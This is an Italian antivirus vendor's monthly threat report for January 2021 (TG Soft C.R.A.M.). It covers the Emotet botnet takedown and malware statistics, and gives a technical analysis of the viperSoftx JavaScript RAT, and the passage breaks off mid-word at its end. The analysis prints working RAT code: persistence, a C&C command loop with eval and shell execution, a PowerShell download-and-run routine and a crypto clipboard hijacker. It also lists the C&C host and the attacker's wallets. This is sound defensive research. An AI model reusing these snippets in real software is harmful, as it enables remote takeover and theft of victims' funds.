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In leggera flessione  gli 

attacchi ransomware, 

molti dei quali veicolati 

via RDP, tra questi pos-

siamo annoverare 

Phobos e Makop. 

In primo piano l’ottima 

analisi tecnica di viper-

Softx RAT 

Nel mese di gennaio 

hanno fatto scalpore le 

azioni congiunte di varie 

polizie di numerosi Pae-

si che sono intervenute 

in modo coordinato ed 

hanno sgominato la 

BotNet di EMOTET. 

In gennaio la BotNet 

aveva veicolato 48 e più 

campagne di Malspam 

con target Italia. 

Il 27 gennaio l’Europol 

comunica di aver uffi-

cialmente smantellato 

la Botnet di Emotet at-

traverso l’operazione 

Ladybird, che ha coin-

volto le autorità di: 

Olanda, Germania, Stati 

Uniti, Regno Unito, 

Francia, Lituania e Ucrai-

na. 

Gennaio ha visto in azio-

ne le campagne di 

AgentTesla, LokiBot ed 

altri Password Stealer 

generici. 

Il Trojan-Banker UrSnif 

ha continuato la sua 

consueta attività di 

diffusione attraverso 

varie  campagne di 

Malspam. 
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Via Pitagora n. 11/B 

35030 Rubàno (PD) 

Italy 

Tel.: +39 049.8977432 

Fax: +39 049.8599020 

Email: info@tgsoft.it 

TG Soft Cyber Security Specialist è  produttore della suite di si-

curezza Anti-Virus denominata Vir.IT eXplorer e presente nel set-

tore della sicurezza informatica dai primi anni ‘90. 

Il C.R.A.M. acronimo di Centro Ricerche Anti-Malware di TG Soft 

ha come obiettivi: 

 PROMUOVERE e DIFFONDERE nel nostro Paese la cultura e la con-

sapevolezza della Sicurezza Informatica in tutti i suoi aspetti. 

 SUGGERIRE e PROPORRE atteggiamenti consapevoli e coerenti 

sulla Sicurezza Informatica e in particolare comportamenti da te-

nere, sia da parte degli utenti sia da parte dei consulenti informati-

ci, per evitare di essere colpiti da virus/malware informatici; 

 PROMUOVERE, ISTITUIRE e FAVORIRE iniziative per la formazione 

e la sensibilizzazione su vari temi della Sicurezza Informatica, in 

particolare tramite l'organizzazione di seminari e la pubblicazione 

di documenti e articoli relativi alla Sicurezza Informatica. 

TG Soft S.r.l. 

L’indice che misura lo stato del-

la Cyber-Security è l’Infection 

Rate (IR), che è la percentuale 

degli utenti dell’anti-virus Vir.IT 

eXplorer che hanno  incontrato 

una minaccia che sia stata se-

gnalata al C.R.A.M. di TG Soft. 

L’Infection Rate può essere cal-

colato su un sotto-insieme di 

dati,  ad esempio su un  deter-

Al giorno d’oggi sono sempre 

più frequenti gli attacchi Cyber 

perpetrati contro le aziende. TG 

Soft analizza e cataloga queste 

minacce rilasciando report setti-

manali e mensili, dove vengono  

illustrati i trend del momento. 

Il C.R.A.M. (Centro Ricerche An-

ti-Malware) di TG Soft raccoglie 

i dati della telemetria inviati dal 

software anti-virus Vir.IT eXplo-

rer  installato sui propri utenti/

clienti e le informazioni di inve-

stigazione sui casi  di attacchi 

informatici, per avere un qua-

dro aggiornato della Cyber-

Security in Italia. 

minato sistema operativo, for-

nendo informazioni su quale 

possa essere il sistema operati-

vo da considerarsi più sicuro. Le 

informazioni raccolte e analizza-

te ci permettono di determina-

re la tipologia degli attacchi, la 

frequenza con cui avvengono, 

la loro distribuzione  e evoluzio-

ne nel breve e lungo periodo. 

  Cyber-Threat Intelligence e Infection Rate 

Proteggiamo il tuo business dai 

cyber-criminali 

“Infection Rate: è la percentuale 

degli utenti che hanno incontrato 

almeno una minaccia segnalata al 

C.R.A.M. di TG Soft” 

Seguici sui social: 

www.tgsoft.it 

https://it.linkedin.com/organization-guest/company/tg-soft
https://twitter.com/VirITeXplorer
https://www.facebook.com/pages/VirIT-eXplorer/120981677976475
https://www.tgsoft.it/tgsoft_home.asp
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viperSoftx RAT 

In primo piano 

Nel mese di Gennaio 2021 il C.R.A.M. Di TG Soft ha rile-

vato ed analizzato il sample di un RAT scritto in lin-

guaggio JavaScript noto come viperSoftx. 

Il possibile vettore di infezione è legato al download 

di software illegale (crack) con lo scopo di eseguire la 

forzatura dell'attivazione di licenza di software legitti-

mi. 

Vediamo i dettagli del file analizzato: 

 

Il RAT viperSoftx è scritto in linguaggio JavaScript e 

presenta una forte offuscazione atta a ridurre le possi-

bilità di intercettazione da parte dei software AntiVirus, come possiamo vedere dall'estratto di parte 

del codice di seguito: 

L'offuscazione è ottenuta attraverso varie funzioni tra cui la sostituzione e conversione di caratteri ed 

altre che terminano con un eval() finale per l'esecuzione dello step successivo. 

 

 

Nome File installx64.db 

MD5 7EA711E2D9AF8BE62AF171997CA1AE10 

Dimensione 269148 byte 

Vir.IT Trojan.JS.viperSoftxRAT.DW 
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Nel caso del sample analizzato sono stati rilevati 7 layer di offuscazione prima di poter giungere al 

sample in chiaro. 

 

 

 

 

 

 

 

 

 

 

 

Dopo aver de-offuscato il payload è possibile analizzare il codice in chiaro come si può vedere dall'e-

stratto nell'immagine di seguito: 

Dopo aver eseguito un “beautify” del codice in chiaro, così da renderlo maggiormente leggibile è pos-

sibile vedere che il RAT viperSoftx si costituisce di quelle che possiamo definire come 3 “macro aree” 

di codice: 

 Area dichiarazione Variabili e persistenza 

 Area principale e di comunicazione 

 Area contenente le funzioni custom 

 

Payload OFFUSCATO iniziale 

 
Layer OFFUSCATO 2 

 
Layer OFFUSCATO 3 

 
Layer OFFUSCATO 4 

 
Layer OFFUSCATO 5 

 
Layer OFFUSCATO 6 

 
Layer OFFUSCATO 7 

 
Payload FINALE in CHIARO 
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Area dichiarazione Variabili e persistenza 

In quest'area vengono dichiarate una serie di variabili utilizzate dal malware nelle varie attività svolte. 

In particolare vengono dichiarate diverse variabili contenenti dei path “utili” del Computer come la 

cartella di startup, la cartella temp, la cartella Desktop, la cartella Roaming (%appdata%), ecc. 

Vengono dichiarati alcuni oggetti ed altri valori che saranno utilizzati in seguito come ad esempio un 

delay ed una stringa utilizzata per effettuare lo split dei comandi inviati dal server C&C. 

 

Interessante notare la variabile “verss” che viene settata al valore “viperSoftx_1.0.2.8” che rappresen-

ta il “nome” del RAT “viperSoftx” seguito dalla sua versione “1.0.2.8”. 

 

A seguito della dichiarazione delle variabili viene chiamata la funzione “ModinySks();” che si occuperà 

di creare la persistenza del RAT nel PC infetto: 
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La funzione in sostanza esegue questi passaggi: 

 copia il payload del RAT all'interno della cartella %APPDATA% 

 crea un nuovo file VBS sempre all'interno della cartella %APPDATA% che esegue il file precedente-

mente copiato: 

 chiama la funzione createShort() con due parametri (path del link e destinazione) che crea un link 

nella cartella di startup atto ad eseguire il file VBS precedentemente creato. 

 

In questo modo il malware si assicura la persistenza nel PC infetto così da poter ripartire in caso di spe-

gnimento o riavvio della macchina. 

 

Area principale e di comunicazione C&C 

Questa sezione è inserita all'interno di un loop do while infinito [do {..} while (true);] e si occupa di 

eseguire tutte le principali attività del RAT ovvero: 

 Comunicazione con il server di Comando&Controllo per ricevere comandi ed inviare informazioni 

sulla macchina. 

 Esecuzione dei comandi impartiti dal server di Comando&Controllo 

 Esecuzione della funzione ”funcCret()” per la sostituzione in tempo reale degli indirizzi BTC o ETH 

nella Clipboard del PC infetto. 

 

Per dare un timing al loop infinito come istruzione finale prima della chiusura del loop è presente il co-

mando “Wscript.Sleep(3000);” che provvederà ad aspettare almeno 3 secondi (3000 millisecondi) pri-

ma di ripetere il ciclo. 

 

 

 

 

 

Set WshShell = WScript.CreateObject("WScript.Shell") 

obj = WshShell.Run("wscript.exe /E:jscript ""C:\Users\<REDACTED>\AppData\Roaming\<NOMEFILE>.js""", 0) 

set WshShell = Nothing 
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Vediamo un estratto di parte del codice: 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

La comunicazione con il server C&C: 

Il RAT procede a contattare il server di comando e controllo seko.vipers[.]pw:8880 per verificare la 

presenza di comandi da eseguire e contestualmente inviare una serie di informazioni utili sulla macchi-

na infetta. 

La funzione che esegue la chiamata WEB è denominata “SendHttp()” di cui vediamo il codice sotto: 
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L'URL contattato dalla funzione ha la seguente struttura:  

 

 

 

 

Verificando il WHOIS del dominio vipers[.]pw si può vedere che è stato registrato il 17/03/2019: 

Nella funzione “SendHttp()” possiamo notare che vengono settati due importanti valori dell'header 

della chiamata HTTP in maniera custom per inviare al server importanti informazioni del PC: 

 User-Agent ==> variabile “useragent” 

 x-header ==> variabile “VN” 

La variabile dell'User-Agent viene generata dalla funzione “getUserAgent()” che provvede a costruire 

la stringa grazie ad una serie di informazioni create attraverso l'uso di funzioni custom e di variabili 

settate nella sezione iniziale, di seguito parte del codice della funzione dove vediamo come è struttu-

rata la stringa: 

 

URL http://seko[.]vipers[.]pw:8880/connect 

HOST seko[.]vipers[.]pw 

PORTA 8880 

IP 217.70.191.237 
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Dove “s” è la concatenazione in stringa con il separatore “Ch” che equivale al carattere “\” dei se-

guenti valori:  

s=VN+Ch+cleanStr(getEnv("COMPUTERNAME"))+Ch+cleanStr(getEnv("USERNAME"))+Ch+cleanStr
(getSystem() + "["+ getOSVer()+"]")+Ch+cleanStr(getAntiV())+Ch+NT+Ch+UDex+Ch; 
return s; 

VN Variabile “verss” (viperSoftx_1.0.2.8) + “_” + il serial number del Volume del 
disco (volumeserialnumber) del PC ricavato tramite il WMI 
“winmgmts:win32_logicaldisk”. 

Es. viperSoftx_1.0.2.8_...redacted volume serial number... 

getEnv("COMPUTERNAME") Nome del Computer 

getEnv("USERNAME") Nome dell'utente del PC 

getSystem() + "["+ getOSVer()+"]" Stringa che rappresenta il Sistema operativo in uso estratta utilizzando il WMI 
“winmgmts:Win32_OperatingSystem” concatenando tra parentesi quadre 
l'architettura della CPU  tramite la funzione getOSVer() che utilizza il WMI 
“winmgmts:root\\cimv2:Win32_Processor='cpu0'” 

Es. Microsoft Windows 7 Ultimate [32] 

getAntiV() Verifica se nella macchina sono presenti AntiVirus e ne estrae il nome attraver-
so il WMI relativo al SecurityCenter di Windows: 
“winmgmts:\\\\localhost\\root\\securitycenter” o 
“winmgmts:\\\\localhost\\root\\securitycenter2” nell'istanza 
“AntiVirusProduct” e ne calcola inoltre lo stato dal valore di “productState” 
che può essere: 

 Unknown (default) 

 Enabled (valore 10 o 11) 

 Disabled (valore 00 o 01 o 20 o 21) 

NT Valore che può essere: 

 YES 

 NO 
calcolato in base alla presenza del  seguente file nella cartella: %windir%
\Microsoft.NET\Framework\v2.0.50727\vbc.exe 
Di seguito lo snippet di codice utilizzato: 

 

if (fstym.fileexists(getEnv("Windir") + 
"\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) { 
        NT="YES"; 
    } 
  
    else { 
        NT="NO"; 
    } 

UDex Variabile dichiarata ma non valorizzata nella sezione iniziale. 

 

Darà sempre come risultato “undefined”. 

var Udex; 
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Vediamo di seguito un esempio del risultato finale che comporrà l'User Agent della chiamata WEB: 

 

viperSoftx_1.0.2.8_...redacted volume serial number...\NOME PC\UTENTE PC \ Microsoft Windows 7 Ul-
timate [32]\NOME AV [STATO AV]\YES\undefined\ 

 
Per quanto riguarda il valore x-header viene settato con la stessa variabile “VN” visibile nella tabella 
precedente. Questo valore di fatto identifica il PC infetto in maniera sufficientemente univoca, vedia-
mo un esempio finale: 

viperSoftx_1.0.2.8_...redacted volume serial number... 

La risposta della comunicazione con il server di Comando&Controllo viene salvata e splittata con un 
carattere fisso settato nelle variabili iniziali (“var spl="|V|";”) in un array che sarà poi utilizzato per de-
terminare quale comando (salvato nella variabile “order”) è stato inviato, quali sono i parametri del 
comando e procedendo poi ad eseguirne le relative operazioni. 

Nella tabella di seguito vediamo quali comandi sono previsti nel sample analizzato: 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Segue 

COMANDO DESCRIZIONE/PARAMETRI/CODICE 

Ex Esegue codice JavaScript tramite la funzione eval(); 
Il comando prevede 1 solo parametro che consiste nel codice JavaScript da eseguire. 
In seguito lo snippet di codice: 

 
Potenzialmente con questa funzione è possibile eseguire qualsiasi operazione voluta 
dal Cyber-Criminale. 

if (order==="Ex") { 
            eval(order_data); 
        } 

Cmd Esegue comandi CMD tramite la funzione shell.Run(); 
Il comando prevede 1 solo parametro che consiste nel comando di CMD da eseguire. 
In seguito lo snippet di codice: 

 

if (order==="Cmd") { 
            shell.Run(order_data, 0, false); 
        } 

DwnlExe Scarica con POWERSHELL da un URL esterno un file in %TEMP% (o sua sotto cartella) e 
lo esegue. 
Il Comando prevede 2 parametri: 
1) URL da dove scaricare il file 
2) Sotto cartella di %temp% dove salvare il file 
 
La funzione scarica il file, attende un delay predefinito (20 secondi) e poi esegue il file. 
In seguito lo snippet di codice: 

 

if (order==="DwnlExe") { 
            var path=Temp+Command[2]; 
            DownFile(Command[1], path, true); 
            WScript.Sleep(DeLay * 1000); 
            shell.Run("cmd.exe start '"+path+"'", 0, false); 
        } 
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Segue 

COMANDO DESCRIZIONE/PARAMETRI/CODICE 

DwnlOnly Scarica un file salvandolo su dei percorsi predefiniti. Può inoltre eseguire il file scaricato 
come previsto nella funzione precedente. 
Il Comando prevede 4 parametri: 
1) URL da dove scaricare il file 
2) Nome del file da salvare 
3) PATH dove salvare il file, può essere un percorso custom oppure uno dei seguenti 

valori che rappresentano dei path predefiniti: 

 startup ==> cartella di startup dell'utente 

 temp ==> cartella %temp% 

 desktop ==> cartella Desktop dell'utente 
4) Valore che determina se il file deve essere scaricato e successivamente anche esegui-

to oppure solo scaricato. 
Se il valore è “yes” allora il file sarà scaricato ed eseguito come nella funzione “DwnlExe” 
altrimenti qualsiasi altro valore scaricherà e salverà il file senza eseguirlo. 
 
In seguito lo snippet di codice: 

 

if (order==="DwnlOnly") { 
            varpathdwn=""; 
            var path=Command[3]; 
            var exe=Command[4]; 
  
            if (path=='startup') { 
                pathdwn=Startup+Command[2]; 
            } 
  
            else if(path=='temp') { 
                pathdwn=Temp+Command[2]; 
            } 
  
            else if (path=='desktop') { 
                pathdwn=Desktop+Command[2]; 
            } 
  
            else { 
                pathdwn=path+Command[2]; 
            } 
  
            if (pathdwn !="") { 
                if (exe=="yes") { 
                    DownFile(Command[1], pathdwn, true); 
                    WScript.Sleep(DeLay * 1000); 
                    shell.Run(ps+" start '"+pathdwn+"'", 0, false); 
                } 
  
                else { 
                    DownFile(Command[1], pathdwn, false); 
                } 
            } 
        } 
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Dopo aver chiamato ed eseguito i comandi impartiti dal server di Comando&Controllo il RAT esegue 
un'ultima funzione chiamata funcCret(). 

 

COMANDO DESCRIZIONE/PARAMETRI/CODICE 

SelfRemove Funzione utilizzata per rimuovere il RAT dal PC e di fatto ripulirlo dall'infezione. 
Non prevede parametri. 
 
In seguito lo snippet di codice: 

 

Viene chiamata la funzione UnMonkSek(true); che rimuove tutti i file e la persistenza del 
RAT e termina (parametro true) lo script. 
In seguito lo snippet di codice: 

 

if (order==="SelfRemove") { 
            UnMonkSek(true); 
        } 

function UnMonkSek(closeFile) { 
    shell.Run(ps+" del '"+AppData+wn+"'", 0, false); 
    shell.Run(ps+" del '"+lnkf+"'", 0, false); 
    shell.Run(ps+" del '"+fxDmE4zu+"'", 0, false); 
    shell.Run(ps+" del '"+vbsf+"'", 0, false); 
 
    if (closeFile) { 
        WScript.Quit(1); 
    } 
} 

UpdateS Effettua l'aggiornamento del RAT. 
Il Comando prevede 2 parametri: 
1) URL da dove scaricare il file aggiornato 
2) PATH dove salvare il file (sotto cartella di %temp%) 
 
Una volta scaricato il file aggiornato dall'URL indicato, viene rimossa la persistenza ed i file 
della vecchia versione del RAT utilizzando sempre la funzione UnMonkSek(false); ma con 
parametro false che evita di terminare lo script. 
 
Viene poi eseguito il nuovo file scaricato previa attesa di un delay (20 secondi) che provve-
derà autonomamente a ripristinare la persistenza del RAT. 
In seguito lo snippet di codice: 

 

if (order==="UpdateS") { 
            var path=Temp+Command[2]; 
            DownFile(Command[1], path, true); 
  
            if (fstym.fileexists(path)) { 
                UnMonkSek(false); 
                WScript.Sleep(DeLay * 1000); 
                shell.Run(ps+" start wscript.exe /E:jscript '"+path+"'", 0, false); 
                WScript.Quit(1); 
            } 
        } 
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La funzione funcCret() ed i Wallet 

Questa funzione viene utilizzata per rilevare e sovrascrivere in tempo reale gli indirizzi BTC o ETH pre-
senti nella Clipboard del PC dell'Utente (copia-incolla), vediamo nell'immagine di seguito il relativo co-
dice:  

La funzione estrae il contenuto della Clipboard con queste funzioni: 

 

Attraverso poi delle regular expression verifica se la Clipboard contiene degli indirizzi di Wallet BitCoin 
(BTC) o Ethereum (ETH) e attraverso la funzione custom sendClib(); sovrascrive gli indirizzi con quelli 
del Cyber-Criminale. 

Di seguito lo snippet della funzione sendClib();: 

 

var htFile=WScript.CreateObject("htmlfile"); 
var cb=htFile.parentWindow.clipboardData.getData("text").replace(/^\s+|\s+$/g, ''); 

function sendClib(Mizu) { 
    var ss=getSystem(); 
 
    if (ss.indexOf("Windows 10") !==-1) { 
        shell.Run(ps+" scb \""+Mizu+"\"", 0, false); 
    } 
 
    else { 
        shell.Run ("cmd.exe /c echo|set /p="+Mizu+"|clip", 0, false); 
    } 
} 
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Per sovrascrivere la Clipboard, in base al sistema operativo viene utilizzato: 

 Powershell con il comando “scb” (Set-ClipBoard) su Windows 10 

 CMD con il comando “cmd.exe /c echo|set /p="[WALLET DEL CYBER-CRIMINALE]"|clip” per tutti 
gli altri sistemi operativi Windows. 

In questo modo l'utente disattento potrebbe eseguire pagamenti in crypto-valuta agli indirizzi  con-
trollati dal Cyber-Criminale e non a quelli corretti di destinazione nel caso usasse la funzione “copia-
incolla” dell'indirizzo di destinazione. 

 

Gli indirizzi del Cyber-Criminale presenti nel sample analizzato sono: 

 

 

Il Wallet BTC attualmente (febbraio 2021) ha eseguito 195 transazioni per un totale di 9,94009894 BTC 
che equivalgono a circa 290196 €* 

Il Wallet ETH attualmente (febbraio 2021) ha eseguito 87 transazioni per un totale di 
44,747773716218719931 ETH che equivalgono a circa 52771 €* 

Non è chiaramente possibile determinare se tutte le transazioni dei due Wallet sono legate all'attività 
criminale svolta attraverso viperSoftx RAT o se frutto di ulteriori/differenti attività criminali. 

 
* le conversioni in euro possono cambiare in base al valore giornaliero della crypto-valuta che risulta essere molto variabile anche in tempi brevi. 

 

Area contenente le funzioni custom 

In quest'area sono contenute tutte le funzioni custom create dal Cyber-Criminale utilizzate a supporto 
delle funzioni viste in precedenza. Esempio per scaricare i file, salvare i file, conversione di stringhe, 
ecc. 

Interessante notare che vi sono alcune funzioni non utilizzate mai ed alcune funzioni rinominate con 
“Old”, il che fa sospettare che il RAT sia in continua evoluzione da parte del Cyber-Criminale. 

Vediamo di seguito alcuni snippet di codice di alcune delle funzioni custom create dal Cyber-Criminale 
utilizzate dal RAT per svolgere le varie attività: 

 

 

 

 

 

 

 

BTC (BitCoin) 1PRMMQgM65KDtMTryu9ccpeAgUmKqDrE9M 

ETH (Ethereum) 0x9d787053f9839966A664b0e14e9C26a3684F6E44 
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La funzione HideFile() non viene mai utilizzata facendo ipotizzare ad una funzione abbandonata oppu-
re ad una funzione ancora in fase di sviluppo o utilizzata “al volo” a seguito di comandi impartiti da 
parte del server di C&C. 

 

Conclusioni 

Il RAT viperSoftx è un malware che sembra essere in evoluzione, l'attore Cyber-Criminale che lo utiliz-
za sembra essere particolarmente a suo agio a sviluppare utilizzando il linguaggio JavaScript mante-
nendo infatti la possibilità di eseguire codice JavaScript “al volo” tramite il server di Coman-
do&Controllo. 

In generale i possibili errori delle funzioni sono gestiti attraverso il sistema try catch in questo modo se 
anche qualche funzione dovesse andare in errore l'utente non vedrebbe i messaggi di errore a video 
riducendo il rischio di essere rilevato. 

 

[…] 
function OldModinySks() { 
    try { 
        shell.Run(ps+" Copy-Item -Path '"+fxDmE4zu+"' -Destination '"+Startup+wn+"'", 0, false); 
    } 
  
    catch(err) {} 
} 
[…] 
function cleanStr(s) { 
    var strx=s.charAt(0).toUpperCase()+s.slice(1); 
    strx=strx.replace("\\", ""); 
    return strx; 
} 
[…] 
function DownFile(file, path, wait) { 
    shell.Run(ps+" $WebClient =New-Object Sy-
stem.Net.WebClient;$WebClient.AllowAutoRedirect=true;$WebClient.DownloadFile('"+file+"','"+path+"')", 0, 
wait); 
} 
[…] 
function CreateFile (file, data) { 
    shell.Run(ps+" '"+data+"' | Out-File '"+file+"' -encoding 'Default'", 0, false); 
} 
[…] 
function toHexString(n) { 
    if(n < 0) { 
        n=0xFFFFFFFF+n+1; 
    } 
  
    return "0x"+(""+ n.toString(16).toUpperCase()).substr(-8); 
} 
[…] 
function HideFile (file) { 
    shell.Run(ps+" $f=get-item '"+file+"' -Force;$f.attributes='Hidden'", 0, false); 
} 
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Implementa funzioni di auto-aggiornamento in grado di mantenere aggiornato il RAT nel PC della vitti-
ma così da beneficiare delle nuove funzioni eventualmente aggiunte e di ridurre la possibilità di inter-
cettazione. 

Non è possibile pertanto escludere che attraverso le funzioni di download ed esecuzione possano es-
sere inoculati nel sistema infetto anche altri Malware come i Ransomware che vengono utilizzati per la 
cifratura dei file dell'utente con a seguito una richiesta di riscatto. 

O che possano essere eseguiti altri Tools e/o Software atti ad esfiltrare informazioni, file, password, 
dati in generale anche a scopo di spionaggio. 
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Gennaio 2021 — ITALIA 

Statistiche Malware 

I dati della telemetria del C.R.A.M. di TG Soft sono 

raccolti dagli utenti che utilizzano il software anti-

virus Vir.IT eXplorer. Le segnalazioni derivano da 

attacchi bloccati oppure malware riscontrati all'in-

terno del parco macchine monitorato. Ogni minac-

cia identificata da Vir.IT viene classificata in fami-

glie e in cluster di malware.  Ogni cluster di mal-

ware può contenere uno o più samples, ad esem-

pio Office.VBA.Macro_Heur raggruppa centinaia o 

migliaia di macro virus distinti. 

Nel mese di gennaio abbiamo avuto un leggero 

incremento del numero di malware rispetto al pre-

cedente mese di dicembre, dove erano stati ri-

scontrati 5137 cluster di malware contro i 5142 del 

mese di gennaio 2021. 

Nel grafico a fondo pagina possiamo vedere l’an-

damento giornaliero delle infezioni in Italia. 

All’inizio del mese (lunedì 4) abbiamo avuto un 

picco di segnalazioni d’infezione, dovute alle scan-

sioni automatiche mensili del motore anti-virus 

Vir.IT eXplorer ed un secondo picco giovedì 7. 

Nelle settimane successive, abbiamo un incremen-

to delle segnalazioni il lunedì, per poi calare in mo-

do progressivo nei giorni successivi. Il 20/01 vi è 

stato un picco infrasettimanale dovuto alle 16 

campagne di malspam di Emotet (15) e LokiBot (1). 

L’andamento delle infezioni a gennaio è stato ab-

bastanza uniforme, non vi sono stati attacchi mas-

sivi sebbene Emotet nella terza decade del mese si 

sia rifatto vivo prepotentemente. 
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Nel grafico sottostante vediamo le statistiche rela-

tive al mese di gennaio 2021 suddivise per 

“Tipologia Malware” riscontrate in Italia.  

Con il termine malware intendiamo qualsiasi tipo-

logia di software malevolo che possa arrecare 

danno al sistema informatico. 

I malware si suddividono in diverse tipologie: Ad-

ware, Backdoor, Trojan, Worm, Virus, PUA/PUP, 

Deceptor, etc.  

Nel mese di gennaio la tipologia dei PUP (28,14%), 

in leggera flessione, vengono spodestati, per un 

soffio, dalla prima posizione dai TROJAN (28,17%). 

Al terzo posto, stabili, gli ADWARE con il 16,52 

(+4,83% rispetto al 2020-12). Trojan e PUP sono in 

leggera flessione rispetto a dicembre. Conservano 

la quarta piazza, seppur in flessione, i MACROVI-

RUS con l’ 11,86% (-16% rispetto a dicembre) come 

anche conserva la posizione il gruppo denominato 

ALTRO, che include i virus, anch’esso in leggera 

flessione con l’11,17%. Questa riduzione dei MA-

CROVIRUS è dovuta allo smantellamento della 

BotNet di Emoter avvenuta il 27 gennaio. 

E’ interessante notare che le prime 4 tipologie di 

malware rappresentano oltre l’84,6% delle infezio-

ni monitorate.  

In sesta posizione troviamo in risalita i DECEPTOR 

(1,68%) che scavalcano gli WORM con lo 0,86% 

(+106%) che scavalcano con l’1,67%, seguono BAC-

KDOOR con lo 0,80%. e chiudono la classifica: BHO 

e HTML. 

I TROJAN riconquistano la 

prima posizione, 2° e 3° 

posizione per PUP ed 

ADWARE che coprono 

quasi il 45% delle infezioni 

di gennaio 
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Analizziamo le statistiche di gennaio dei singoli 

Malware. Anche questo mese si riconferma al pri-

mo posto il PUP.Win32.MindSpark.F con il 6,09% 

delle infezioni, che può compromettere il tuo bro-

wser, modificando l’home page e il motore di ri-

cerca. 

Al secondo posto si conferma Offi-

ce.VBA_Macro_Heur (tipologia MACRO VIRUS) 

seppur in discesa dal 6,09% di dicembre al 4,70% di 

gennaio 2021. 

Si tratta di un dato ottenuto tramite l'analisi euri-

stica e riguarda i file contenenti macro potenzial-

mente pericolose di diverse famiglie di malware. 

Al terzo posto stabile il PUP.Win32.CheatEngine 

con l’1,80% delle infezioni rilevate. 

Anche questo mese nella Top10 troviamo alcune 

vecchie conoscenze del mondo PUP/Adware, in 

quarta posizione troviamo il PUP.Win32.Resoft.B e 

al nono posto il PUP.Win32.InstallerWizard.A 

Al 5° e 6° posto troviamo due TROJAN: Tro-

jan.PS.sLoad.COX (1,44%) e Tro-

jan.W32.Genus.JWB (1,25%). 

In 7°, 8° e 10° posizione nell’ordine ben 3 virus 

Win32.Tenga.A, Win32.Delf.FE e 

Win32.Expiro.AQ. Si tratta di tre vecchie cono-

scenze ma ancora attivi. Expiro è virus polimorfico 

che lo può rendere non sempre “facilmente” rico-

noscibile. 

 

 

Nella Top10 troviamo 4 tipologie differenti di PUP, 

2 tipologie di trojan, la tipologia dei macrovirus 

generici e ben 3 virus. 

I malware della Top10 rappresentano il 

21,49% delle infezioni di gennaio, il 

rimanente 78,51% è dato da altri 5142 

cluster di malware. 
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Analizziamo ora le campagne di malware veicolate 

via email nel mese di gennaio. Anche in questo ca-

so possiamo suddividere le statistiche per tipolo-

gia e singolo malware. 

La categoria dei MACRO VIRUS mantiene sempre 

la prima posizione con il 73,25% (-9,38% rispetto al 

mese di dicembre) probabilmente a causa dello 

scardinamento della Botnet di distribuzione di 

Emotet avvenuta nella terza decade di gennaio. 

I TROJAN con il 25,78% sono in crescita quasi 7% 

globalmente con un incremento relativo tra di-

cembre e gennaio di oltre il +35%. Si confermano al 

secondo posto. Al terzo posto troviamo la  tipolo-

gia ALTRO con lo 0,97% che include varie famiglie 

come WORM e BACKDOOR. 

Gennaio 2021 - ITALIA 

Statistiche Malware via email 

Analizzando le statistiche delle campagne di 

malspam per singolo malware,  al primo posto tro-

viamo Office.VBA_Macro_Heur, (tipologia Macro 

Virus) che include l’intercettazione generica di di-

verse famiglie di macro virus, in crescita anche a 

gennaio allo 35,88%, in 2° e 3° posizione si confer-

ma il trojan bancario UrSnif 

con la variante .CRQ con 

l’12,26% e .CRP con il 6,31%. 

Fuori dal podio i Trojan, 4°, 5° 

rispettivamente due varianti 

di Trojan.Win32.PSWStealer, 

la .CRR e la .CRO e 7° il Tro-

jan.Win32.VBZenPack_Heur. 

Poi abbiamo I MACROVIRUS 

di Excel e di Word: 

X97M.Dridex.CSC (6°); 

W97M.Emotet.CQU (8°) 

e .CRS (9°). 

Nella Top10 delle mail, vi so-

no quasi esclusivamente MA-

CRO VIRUS, che rappresenta-

no il 59,66% delle infezioni di 

gennaio, il rimanente 40,34% è  dato da altri 270 

malware. 

A gennaio sono riprese le campagne di Emotet ma 

nella terza decade i server di C&C sono stati sman-

tellati per un’azione congiunta delle Polizie di vari 

paesi. 
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Analisi dei malware di gennaio 

Cyber-Trend 

Nel mese di gennaio in Italia, attraverso le campagne di malspam che hanno “targettizzato” l’utenza 
italiana (email scritte in lingua italiana), sono stati veicolate non meno di 11 differenti tipologie di mal-
ware. 

Nella figura sottostante possiamo vedere l’andamento dei malware distribuiti attraverso il vettore 
d’infezione della posta elettronica nel mese di gennaio. 

Prima posizione del podio invariata nel mese di 
gennaio rispetto a dicembre che vede ancora il 
malware Emotet (48+ campagne) ampiamente in 
testa. 

 

In seconda posizione questo mese invece trovia-
mo il malware password stealer Lokibot, salito di 
una posizione rispetto al mese scorso. 

 

La terza posizione è condivisa con non meno di 6 
campagne ciascuno dai 4 malware di seguito indi-
cati: 

 AgentTesla (un password stealer molto utiliz-
zato, come a dicembre, da diversi “attori “ de-
diti al cyber-crime. che ruba le credenziali di 
accesso); 

 Ave_Maria e FormBook (2 RAT)  che guada-
gnano ben 2 posizioni dalla 5° piazza di dicem-

bre alla 3° posizione di gennaio 2021; 

 Ursnif (TrojanBanker) ha come scopo quello 
di rubare le credenziali di accesso all’home 
banking per svuotare i conto correnti. 

 

Anche per gennaio da notare l’assenza con cam-
pagne  dirette all’utenza italiana del cyber-attore 
Hagga, che però continua con campagne malspam 
internazionali. 
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E’ possibile consultare le campagne di malspam settimanali del mese di gennaio dai seguenti link:  

 

Week 52 ==> dal 26 dicembre al 3 gennaio 

Week 01 ==> dal 4 gennaio al 10 gennaio 

Week 02 ==> dall’11 gennaio al 17 gennaio 

Week 03 ==> dal 18 gennaio al 24 gennaio 

Week 04 ==> dal 25 gennaio al 31 gennaio 

Nella figura sottostante possiamo vedere l’andamento giornaliero delle campagne di malspam con 

target Italia.  

 

Assenti nelle prime 3 settimane del mese, ad eccezione di venerdì 15 gennaio, campagne di malspam di 

AgentTesla, un password stealer di norma utilizzato da diversi cyber-criminali con target l’utenza ita-

liana (e non solo). 

Il malware UrSnif nel mese si è concentrato, con 5 campagne totali, quasi completamente nella quarta 

settimana, settimana in cui si sono anche osservati 2 picchi di campagne indirizzate all’utenza italiana 

nelle giornate di mercoledì 20 e venerdì 22, trainati dal malware Emotet. 

Presenti in maniera omogenea per tutto il mese di gennaio campagne di Emotet, ma fino al 25 gen-

naio, data in cui un'operazione internazionale di polizia (effettuata tra lunedì 25 e mercoledì 27) ha 

smantellato la botnet del malware. 

https://www.tgsoft.it/italy/news_archivio.asp?id=1162
https://www.tgsoft.it/italy/news_archivio.asp?id=1163
https://www.tgsoft.it/italy/news_archivio.asp?id=1165
https://www.tgsoft.it/italy/news_archivio.asp?id=1166
https://www.tgsoft.it/italy/news_archivio.asp?id=1167
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Analizziamo ora le campagne del malware banca-

